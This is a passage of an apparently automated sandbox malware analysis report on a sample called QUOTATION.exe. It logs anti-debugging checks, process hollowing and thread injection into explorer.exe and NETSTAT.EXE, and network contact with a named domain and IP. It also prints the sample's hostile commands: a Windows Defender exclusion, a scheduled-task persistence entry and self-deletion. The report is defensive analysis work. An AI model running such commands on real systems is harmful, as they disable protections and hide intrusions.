Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A309 mov eax, dword ptr fs:[00000030h] 24_2_0326A309
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324DB60 mov ecx, dword ptr fs:[00000030h] 24_2_0324DB60
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03273B7A mov eax, dword ptr fs:[00000030h] 24_2_03273B7A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03273B7A mov eax, dword ptr fs:[00000030h] 24_2_03273B7A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324DB40 mov eax, dword ptr fs:[00000030h] 24_2_0324DB40
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03318B58 mov eax, dword ptr fs:[00000030h] 24_2_03318B58
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324F358 mov eax, dword ptr fs:[00000030h] 24_2_0324F358
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03274BAD mov eax, dword ptr fs:[00000030h] 24_2_03274BAD
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03274BAD mov eax, dword ptr fs:[00000030h] 24_2_03274BAD
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03274BAD mov eax, dword ptr fs:[00000030h] 24_2_03274BAD
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03315BA5 mov eax, dword ptr fs:[00000030h] 24_2_03315BA5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03251B8F mov eax, dword ptr fs:[00000030h] 24_2_03251B8F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03251B8F mov eax, dword ptr fs:[00000030h] 24_2_03251B8F
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032FD380 mov ecx, dword ptr fs:[00000030h] 24_2_032FD380
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03272397 mov eax, dword ptr fs:[00000030h] 24_2_03272397
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327B390 mov eax, dword ptr fs:[00000030h] 24_2_0327B390
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330138A mov eax, dword ptr fs:[00000030h] 24_2_0330138A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032703E2 mov eax, dword ptr fs:[00000030h] 24_2_032703E2
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032F23E3 mov ecx, dword ptr fs:[00000030h] 24_2_032F23E3
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032F23E3 mov ecx, dword ptr fs:[00000030h] 24_2_032F23E3
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032F23E3 mov eax, dword ptr fs:[00000030h] 24_2_032F23E3
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326DBE9 mov eax, dword ptr fs:[00000030h] 24_2_0326DBE9
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032C53CA mov eax, dword ptr fs:[00000030h] 24_2_032C53CA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032C53CA mov eax, dword ptr fs:[00000030h] 24_2_032C53CA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03284A2C mov eax, dword ptr fs:[00000030h] 24_2_03284A2C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03284A2C mov eax, dword ptr fs:[00000030h] 24_2_03284A2C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0326A229 mov eax, dword ptr fs:[00000030h] 24_2_0326A229
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330AA16 mov eax, dword ptr fs:[00000030h] 24_2_0330AA16
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330AA16 mov eax, dword ptr fs:[00000030h] 24_2_0330AA16
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03258A0A mov eax, dword ptr fs:[00000030h] 24_2_03258A0A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324AA16 mov eax, dword ptr fs:[00000030h] 24_2_0324AA16
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0324AA16 mov eax, dword ptr fs:[00000030h] 24_2_0324AA16
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03245210 mov eax, dword ptr fs:[00000030h] 24_2_03245210
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03245210 mov ecx, dword ptr fs:[00000030h] 24_2_03245210
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03245210 mov eax, dword ptr fs:[00000030h] 24_2_03245210
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03245210 mov eax, dword ptr fs:[00000030h] 24_2_03245210
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03263A1C mov eax, dword ptr fs:[00000030h] 24_2_03263A1C
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032FB260 mov eax, dword ptr fs:[00000030h] 24_2_032FB260
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032FB260 mov eax, dword ptr fs:[00000030h] 24_2_032FB260
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0328927A mov eax, dword ptr fs:[00000030h] 24_2_0328927A
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03318A62 mov eax, dword ptr fs:[00000030h] 24_2_03318A62
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03249240 mov eax, dword ptr fs:[00000030h] 24_2_03249240
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03249240 mov eax, dword ptr fs:[00000030h] 24_2_03249240
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03249240 mov eax, dword ptr fs:[00000030h] 24_2_03249240
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03249240 mov eax, dword ptr fs:[00000030h] 24_2_03249240
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0330EA55 mov eax, dword ptr fs:[00000030h] 24_2_0330EA55
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032D4257 mov eax, dword ptr fs:[00000030h] 24_2_032D4257
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032452A5 mov eax, dword ptr fs:[00000030h] 24_2_032452A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032452A5 mov eax, dword ptr fs:[00000030h] 24_2_032452A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032452A5 mov eax, dword ptr fs:[00000030h] 24_2_032452A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032452A5 mov eax, dword ptr fs:[00000030h] 24_2_032452A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_032452A5 mov eax, dword ptr fs:[00000030h] 24_2_032452A5
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0325AAB0 mov eax, dword ptr fs:[00000030h] 24_2_0325AAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0325AAB0 mov eax, dword ptr fs:[00000030h] 24_2_0325AAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327FAB0 mov eax, dword ptr fs:[00000030h] 24_2_0327FAB0
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327D294 mov eax, dword ptr fs:[00000030h] 24_2_0327D294
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327D294 mov eax, dword ptr fs:[00000030h] 24_2_0327D294
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03272AE4 mov eax, dword ptr fs:[00000030h] 24_2_03272AE4
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03304AEF mov eax, dword ptr fs:[00000030h] 24_2_03304AEF
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03272ACB mov eax, dword ptr fs:[00000030h] 24_2_03272ACB
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 mov eax, dword ptr fs:[00000030h] 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 mov eax, dword ptr fs:[00000030h] 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 mov eax, dword ptr fs:[00000030h] 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 mov eax, dword ptr fs:[00000030h] 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_03264120 mov ecx, dword ptr fs:[00000030h] 24_2_03264120
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 24_2_0327513A mov eax, dword ptr fs:[00000030h] 24_2_0327513A
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\QUOTATION.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\QUOTATION.exe Code function: 17_2_0040ACF0 LdrLoadDll, 17_2_0040ACF0
Source: C:\Users\user\Desktop\QUOTATION.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.purelai.store
Source: C:\Windows\explorer.exe Network Connect: 208.51.62.42 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\QUOTATION.exe Section unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: 1050000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\QUOTATION.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\QUOTATION.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\QUOTATION.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Thread register set: target process: 3352 Jump to behavior
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\lQdAGavApIJoo.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lQdAGavApIJoo" /XML "C:\Users\user\AppData\Local\Temp\tmp8E88.tmp Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Users\user\Desktop\QUOTATION.exe C:\Users\user\Desktop\QUOTATION.exe Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Process created: C:\Windows\SysWOW64\NETSTAT.EXE C:\Windows\SysWOW64\NETSTAT.EXE Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\QUOTATION.exe" Jump to behavior
Source: explorer.exe, 00000013.00000000.299565234.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000013.00000000.336419113.0000000000B68000.00000004.00000020.sdmp Binary or memory string: Progman\Pr
Source: explorer.exe, 00000013.00000000.336798226.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.320364799.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.299819955.00000000011E0000.00000002.00020000.sdmp, NETSTAT.EXE, 00000018.00000002.549239748.00000000046B0000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000013.00000000.323444529.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 00000013.00000000.336798226.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.320364799.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.299819955.00000000011E0000.00000002.00020000.sdmp, NETSTAT.EXE, 00000018.00000002.549239748.00000000046B0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000013.00000000.336798226.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.320364799.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.299819955.00000000011E0000.00000002.00020000.sdmp, NETSTAT.EXE, 00000018.00000002.549239748.00000000046B0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000013.00000000.336798226.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.320364799.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000013.00000000.299819955.00000000011E0000.00000002.00020000.sdmp, NETSTAT.EXE, 00000018.00000002.549239748.00000000046B0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000013.00000000.344152528.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000013.00000000.309030845.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000013.00000000.328622205.0000000008778000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Users\user\Desktop\QUOTATION.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
